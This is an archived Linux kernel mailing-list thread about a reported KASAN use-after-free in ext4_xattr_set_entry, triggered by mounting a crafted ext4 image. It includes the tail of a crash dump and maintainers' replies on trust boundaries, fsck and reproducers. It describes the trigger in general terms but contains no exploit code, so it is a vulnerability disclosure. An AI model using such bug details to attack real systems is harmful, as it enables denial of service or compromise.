head: 0000000000000008 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ff1100010a11c480: fb fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
ff1100010a11c500: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ff1100010a11c580: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
^
ff1100010a11c600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ff1100010a11c680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
0: 48 83 fa 20 cmp $0x20,%rdx
4: 0f 82 86 00 00 00 jb 0x90
a: 40 38 fe cmp %dil,%sil
d: 7c 35 jl 0x44
f: 48 83 ea 20 sub $0x20,%rdx
13: 48 83 ea 20 sub $0x20,%rdx
17: 4c 8b 06 mov (%rsi),%r8
1a: 4c 8b 4e 08 mov 0x8(%rsi),%r9
1e: 4c 8b 56 10 mov 0x10(%rsi),%r10
22: 4c 8b 5e 18 mov 0x18(%rsi),%r11
26: 48 8d 76 20 lea 0x20(%rsi),%rsi
* 2a: 4c 89 07 mov %r8,(%rdi) <-- trapping instruction
2d: 4c 89 4f 08 mov %r9,0x8(%rdi)
31: 4c 89 57 10 mov %r10,0x10(%rdi)
35: 4c 89 5f 18 mov %r11,0x18(%rdi)
39: 48 8d 7f 20 lea 0x20(%rdi),%rdi
3d: 73 d4 jae 0x13
3f: 83 .byte 0x83
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [SECURITY] ext4: KASAN use-after-free and Oops in ext4_xattr_set_entry with crafted ext4 image
2025-11-05 14:39 [SECURITY] ext4: KASAN use-after-free and Oops in ext4_xattr_set_entry with crafted ext4 image 章怿贺
@ 2025-11-06 7:00 ` Greg KH
[not found] ` <58255d5d.20a1f.19a585765c9.Coremail.12421252@zju.edu.cn>
0 siblings, 1 reply; 4+ messages in thread
From: Greg KH @ 2025-11-06 7:00 UTC (permalink / raw)
To: 章怿贺; +Cc: security, linux-ext4, linux-kernel
On Wed, Nov 05, 2025 at 10:39:26PM +0800, 章怿贺 wrote:
> A local unprivileged user who can mount a crafted ext4 filesystem image and call lsetxattr() on a file inside that filesystem can trigger:
Note, if you can do this, all bets are off as has been explained many
times on this list :)
The real question is, does fsck catch this issue before mounting the
filesystem? If not, can you send a patch to fix that?
Also, do you have a patch to fix this issue so that you get the credit
for fixing it? As you have a reproducer, you seem to have an easy way
to test this :)
thanks,
greg k-h
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: Re: [SECURITY] ext4: KASAN use-after-free and Oops in ext4_xattr_set_entry with crafted ext4 image
[not found] ` <58255d5d.20a1f.19a585765c9.Coremail.12421252@zju.edu.cn>
@ 2025-11-06 8:50 ` Greg KH
2025-11-06 14:09 ` Theodore Ts'o
0 siblings, 1 reply; 4+ messages in thread
From: Greg KH @ 2025-11-06 8:50 UTC (permalink / raw)
To: 章怿贺; +Cc: security, linux-ext4, linux-kernel
On Thu, Nov 06, 2025 at 04:45:14PM +0800, 章怿贺 wrote:
> Hi Greg,
>
> Thank you for your explanation and suggestions.
Please always cc: everyone on the emails, direct emails don't scale :)
> I ran e2fsck -fn on the extracted image and it does report errors
> (including “padding at end of block bitmap is not set”), so it seems
> fsck already detects the corruption. Next time I will evaluate the
> impact more carefully before contacting the Linux community again.
That's great to hear, but I'm sure the ext4 developers would still
appreciate a kernel patch for this if you have one :)
thanks,
greg k-h
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [SECURITY] ext4: KASAN use-after-free and Oops in ext4_xattr_set_entry with crafted ext4 image
2025-11-06 8:50 ` Greg KH
@ 2025-11-06 14:09 ` Theodore Ts'o
0 siblings, 0 replies; 4+ messages in thread
From: Theodore Ts'o @ 2025-11-06 14:09 UTC (permalink / raw)
To: Greg KH; +Cc: 章怿贺, security, linux-ext4, linux-kernel
On Thu, Nov 06, 2025 at 05:50:35PM +0900, Greg KH wrote:
>
> > I ran e2fsck -fn on the extracted image and it does report errors
> > (including “padding at end of block bitmap is not set”), so it seems
> > fsck already detects the corruption. Next time I will evaluate the
> > impact more carefully before contacting the Linux community again.
>
> That's great to hear, but I'm sure the ext4 developers would still
> appreciate a kernel patch for this if you have one :)
A couple of other things. First of all, when you send a report which
involves a corrupted file system, please include a copy of the
corrupted file system so the file system developers don't have to
waste a lot of time digging it out of the poc.c file. For reports
from the upstream syzkaller, developers use syzbot website too
download artifiacts like the corrupted file system, and in cases where
they can't reproduce the problem, they can request that the syzbot
test a proposed patch for them.
One of the problems with academic researchers sending reports from
forked syzkallers is that they often don't stand up the webserver,
which causes a lot of extra effort from upstream maintainers from
responding.
I did spend an hour or so trying to pry out out the image, and took a
look at it long enough to confirm that indeed, the file system was
corrupted and so it's very low priority for me to debug it --- since
as Greg has pointed out, if you can mount a file system, in general
you're asking for problems. Sure, you can disable setuid programs,
et. al, but for a **long** time, the block device is considered part
of the trust boundary.
Yes, there are some particularly bone-headed decisions made by certain
distributions, such as Red Hat mounting file systems whenever someone
is stupid enough to insert a USB stick (scattered in the parking lot
of the targetted defense contractor by the MSS or the CIA) in their
laptop. This is **why* e2fsprogs and xfsprogs ships udev rules which
override that particular bit of product-manager driven stupidity. (I
wlil note that most enterprise sysadmins already disable USB mounts.)
But if someone really wants to do that stupid thing, they should send
us patches; it's not high priority for me to fix.
That being said, it does look that e2fsck doesn't actually fix the
problem. The issue seems to be a maliciously corrupted inode with
bogus extended attributes inline in the inode structure. There are
other things corrupted by syzkaller, including block bitmap padding,
but it's not really relevant for the reproducer.
If you want to save time for the upstream maintainer, please try to
minimize the reproducer. That means removing irrelevant bits from the
file system image, and those bits of the reproducer which is
completely irrelevant. I'll try to take a look at it later, when I
have free time. But if you'd like to help me, try to create a minimal
reproducer.
Cheers,
- Ted
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2025-11-06 14:09 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2025-11-05 14:39 [SECURITY] ext4: KASAN use-after-free and Oops in ext4_xattr_set_entry with crafted ext4 image 章怿贺
2025-11-06 7:00 ` Greg KH
[not found] ` <58255d5d.20a1f.19a585765c9.Coremail.12421252@zju.edu.cn>
2025-11-06 8:50 ` Greg KH
2025-11-06 14:09 ` Theodore Ts'o
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox